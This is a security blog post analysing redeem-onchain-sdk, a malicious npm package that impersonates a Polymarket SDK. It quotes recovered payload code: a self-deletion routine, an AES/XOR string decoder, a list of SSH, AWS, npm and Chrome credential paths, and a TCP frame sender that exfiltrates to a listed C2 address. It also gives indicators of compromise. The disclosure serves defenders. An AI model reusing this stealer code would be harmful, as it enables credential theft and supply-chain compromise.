Malicious redeem-onchain-sdk npm Targets Crypto Wallets

8 min read

Table of Contents

TL;DR

redeem-onchain-sdk is a malicious npm package impersonating a Polymarket on-chain SDK. It collects SSH keys, AWS credentials, .npmrc tokens, Docker auth, Chrome saved logins, .env files, and a month of git commit history, then ships everything over a raw TCP socket to an AWS-hosted C2. Two triggers fire it: a require() side effect in the package’s main entry point (added in v1.0.1) and a postinstall hook (added in v1.0.5). The payload lives in dist/proxy.js, later renamed dist/index5_test.js.

Impact:

  • Steals private keys from ~/.ssh/id_rsa and SSH config from ~/.ssh/config
  • Steals cloud credentials from ~/.aws/credentials and Docker auth from ~/.docker/config.json
  • Steals npm publish tokens from ~/.npmrc and ~/.netrc
  • Steals Chrome saved login database on Windows
  • Reads any .env files in the home directory and current working directory
  • Captures one month of git log output: commit messages, branch names, ticket references
  • Deletes itself and rewrites package.json after execution to delay discovery

Indicators of Compromise:

redeem-onchain-sdk-iocs.csv
TypeIndicatorNotes
1npm package[email protected]malicious
2npm package[email protected]malicious
3npm package[email protected]malicious
4npm package[email protected]malicious
5npm package[email protected]malicious
6npm package[email protected]malicious
7npm package[email protected]malicious
8npm package[email protected]malicious
9npm maintainerryanmccollum1npm account
10email[email protected]maintainer contact
11SHA-256ea0d611711059f0d905e97878f05f6e887e71eadbfc783809e5a949bf89e6821payload hash
12IP18.208.244.120C2 — AWS EC2 us-east-1
13TCP endpoint18.208.244.120:9999C2 raw TCP socket
14hostnameec2-18-208-244-120.compute-1.amazonaws.comC2 hostname
15filedist/proxy.jspayload filename on disk
16filedist/proxy copy.jspayload filename on disk
17filedist/index5_test.jspayload filename on disk
18file$TMPDIR/.redeem_err.logerror log dropped after execution
18 rows
| 3 columns

Package Overview

The package landed on npm on April 1, 2026 with the description “Polymarket on-chain allowance and redemption utilities for USDC and conditional tokens.” The keywords cover polymarket, prediction-market, usdc, and polygon. The dependency tree is real: @polymarket/clob-client, ethers, consola, ora, picocolors, p-limit, p-retry. The README is plausible. The provider, allowances, and redeem modules implement the functions the README documents.

The repository and homepage fields are both null. The maintainer is ryanmccollum1, with no GitHub link, no project page, and no public history of Polymarket contributions. The package is a purpose-built credibility shell: a working SDK wrapped around a payload, targeting developers who script against Polymarket smart contracts and keep wallet private keys, RPC tokens, and exchange API credentials in their dev environment.

Version timeline:

1.0.0 2026-04-01 18:21Z clean baseline (69 downloads)
1.0.1 2026-04-02 08:43Z payload landed, no postinstall (96 downloads)
1.0.2 2026-04-23 21:40Z refined payload, no postinstall (171 downloads)
1.0.4 2026-04-29 10:57Z postinstall added, points at missing file
1.0.5 2026-04-29 11:00Z postinstall fixed: node dist/proxy.js
1.0.6 2026-04-29 11:16Z payload renamed to index5_test.js (postinstall broken again)
1.0.7 2026-04-29 11:20Z postinstall fixed: node dist/index5_test.js

The attacker shipped 1.0.0 as a clean version, dropped the malicious payload one day later, let the package collect 267 imports under versions 1.0.1 and 1.0.2 over four weeks, then weaponized the install hook in four rapid republishes spanning 25 minutes on April 29.

Two Execution Triggers

Most detection rules look for postinstall scripts. Versions 1.0.1 through 1.0.4 skip that trigger entirely.

The entry point dist/index.js ends with one line that turns any import of the package into a side effect:

// package/dist/index.js (last line, present since v1.0.1)
__exportStar(require('./proxy'), exports);

require("./proxy") evaluates dist/proxy.js, which is the malicious file in versions 1.0.1 through 1.0.5. Anyone who imported the package, even just to read the type definitions or call approveUSDCAllowance, executed the payload. No install hook required.

In v1.0.6 the file was renamed to index5_test.js and v1.0.7 wired postinstall to the new name:

// package/package.json (v1.0.7)
"scripts": {
"build": "tsc",
"prepublishOnly": "npm run build",
"postinstall": "node dist/index5_test.js"
}

After the rename, the __exportStar(require("./proxy")) line in index.js points at a file that no longer exists, so v1.0.6 and v1.0.7 are broken as legitimate libraries. Both versions exist only to deliver the payload.

Self-Cleanup

The payload’s first move is to remove itself from disk and replace the package manifest with a neutral one:

// package/dist/index5_test.js (top of file)
const _cleanupConfig = {
deleteTarget: 'index5_test.js',
cleanPackageJson: {
name: 'example',
version: '4.2.1',
},
};
try {
_cleanupFs.unlinkSync(_cleanupPath.resolve(__dirname, _cleanupConfig.deleteTarget));
} catch (err) {
/* ... */
}
try {
_cleanupFs.writeFileSync(
_cleanupPath.join(__dirname, 'package.json'),
JSON.stringify(_cleanupConfig.cleanPackageJson, null, 2),
'utf8'
);
} catch (err) {
/* ... */
}

A reviewer who pulls node_modules/redeem-onchain-sdk/dist/ after the install completes finds a package directory with a package.json claiming to be [email protected] and no index5_test.js file to inspect. The malicious code is gone before anyone notices it ran.

Obfuscation Scheme

The payload’s strings live in a 43-element array _stjRaw. Each entry uses split-string concatenation and passes through a custom multi-layer decoder:

// package/dist/index5_test.js (decoder, simplified)
const _stjKey = 'OrDeR_7077';
const _stjAesKey = Buffer.from('0123456789abcdef0123456789abcdef', 'utf8');
function decode(payload) {
const normalized = payload.split('').reverse().join('').replace(/_/g, '=');
const buffer = Buffer.from(normalized, 'base64');
const iv = buffer.slice(0, 16);
const ciphertext = buffer.slice(16);
const decipher = crypto.createDecipheriv('aes-256-ctr', _stjAesKey, iv);
const xorSource = Buffer.concat([decipher.update(ciphertext), decipher.final()]);
const output = Buffer.alloc(xorSource.length);
for (let i = 0; i < xorSource.length; i++) {
output[i] = xorSource[i] ^ keyBuf[i % keyBuf.length] ^ ((7 * i * i) % 10);
}
return output.toString('utf8');
}

Reverse the string, swap _ for = to repair the base64, decrypt with AES-256-CTR using a hardcoded key, then XOR the result with OrDeR_7077 (cycled) plus a positional polynomial (7·i²) mod 10. Each decoded string is itself base64, which the payload decodes a second time at the call site. The double encoding hides simple URLs and file paths from string scanners that match a single base64 round.

Two independent decoder implementations produce byte-identical output across all 43 entries. The array contains the C2 IP (18.208.244.120), C2 port (9999), the cipher name aes-256-gcm, the file paths to steal, the IP-discovery URL https://api.ipify.org?format=json, the git log --since="1 month ago" --format=oneline command, and the error log filename .redeem_err.log.

The array also assembles a 2048-bit RSA public key across nine entries (stj[4] through stj[12]). The decoded PUBLIC_KEY_DATA constant sits at the top of the payload and is never referenced. Dead code. The transit cipher in the actual exfiltration path is symmetric AES-256-GCM with a hardcoded key, not RSA. The attacker likely started with hybrid encryption, RSA-wrapping a per-session AES key, then dropped it before shipping. The decoy public key remains in the bundle and inflates the obfuscated string array, but it touches nothing at runtime.

The payload uses aes-256-gcm with a hardcoded key for transit:

// recovered: the AES-GCM key used to encrypt outbound frames
const SECRET = Buffer.from('00112233445566778899aabbccddeeff00112233445566778899aabbccddeeff', 'hex');

The hardcoded key hands defenders everything. Anyone who recovers the binary can decrypt every frame the C2 received. The attacker wanted ciphertext on the wire, but included the decryption key in the same artifact.

Collection and Exfiltration

After the cleanup, the payload reads each path in basePaths. The attacker left the original inline comments in the source, annotating which secrets they’re after:

// package/dist/index5_test.js (path list, with attacker's own comments)
const basePaths = [
stj[14], // .env
stj[15], // .home/.env
stj[16], // .home/.aws/credentials
stj[17], // .home/.docker/config.json
stj[18], // .home/.ssh/id_rsa
stj[19], // .home/.ssh/config
stj[20], // .home/.npmrc
stj[21], // .home/.netrc
stj[22], // AppData/ssh/known_hosts (Windows)
stj[23], // LocalAppData/Google/Chrome/User Data/Default/Login Data (Windows)
stj[24], // /tmp/session_temp.json (Linux/macOS)
];

For each path the payload tries both the home directory and the current working directory, reads up to one megabyte, and appends the contents to a metrics buffer. It also runs:

// recovered command
const { stdout } = await exec('git log --since="1 month ago" --format=oneline', { timeout: 5000 });

git log runs from whatever repo sits in the current directory when npm install fires. Run install inside your working repo and the attacker takes a month of commit history with them.

Exfiltration is a length-prefixed binary frame over a raw TCP socket:

package/dist/index5_test.js
function buildFrame(payload) {
const iv = crypto.randomBytes(12);
const cipher = crypto.createCipheriv('aes-256-gcm', SECRET, iv);
const plaintext = Buffer.from(JSON.stringify(payload), 'utf8');
const encrypted = Buffer.concat([cipher.update(plaintext), cipher.final()]);
const tag = cipher.getAuthTag();
const frame = Buffer.concat([iv, encrypted, tag]);
const length = Buffer.alloc(4);
length.writeUInt32BE(frame.length, 0);
return Buffer.concat([length, frame]);
}
function sendFrame(frame) {
const client = net.connect(COMPONENT_PORT, COMPONENT_ENDPOINT, () => {
client.write(frame);
client.end();
});
/* ... */
}

The frame layout is [uint32 BE length][12-byte IV][AES-256-GCM ciphertext][16-byte auth tag]. The attacker can override the C2 endpoint and port via REDEEM_ENDPOINT and REDEEM_PORT, useful when rotating infrastructure. The default endpoint resolves to an AWS EC2 instance in us-east-1.

Campaign Scope

Two more packages from the same maintainer carry the identical payload: period-newline (v0.1.0) and nicegui (v0.1.0). Both were published the same day, both ship TypeScript declarations to look like typed utility packages, and both connect to the same C2 at 18.208.244.120:9999. This is not an isolated incident — it is a multi-package deployment from the same actor running the same credential-theft operation across three packages in parallel.

The maintainer ryanmccollum1 has four other packages on npm: agui-session-recorder, agent-trace-kit, mcp-contract-tester, and neat-terminal-visualizer-84721. The descriptions target the AI agent ecosystem (AG-UI event capture, agent trace replay, MCP server contract testing). Static analysis of each found no payload, no postinstall hook, and no require()-time side effects as of writing.

They remain unsafe to use. The same maintainer, the same publishing pattern, and the same ecosystem targeting mark these as seeded credibility. The redeem-onchain-sdk playbook (clean v1.0.0, malicious payload one day later) can run against any of them with two minutes of work.

All four sibling packages target AI tooling: AG-UI, MCP, agent traces. The developer building Polymarket scripts is the same developer pulling unverified packages into agent toolchains. This maintainer covers both.

References

  • vet
  • malware
  • npm
  • supply-chain
  • polymarket
  • credential-theft

Author

Kunal Singh

Kunal Singh

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Mini Shai Hulud and SAP Compromise

Mini Shai Hulud and SAP Compromise

Four SAP npm packages published on April 29, 2026 contain a two-stage credential-stealing payload targeting GitHub tokens, AWS keys, and CI/CD pipelines. The packages share SAP-affiliated...

SafeDep Team
Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.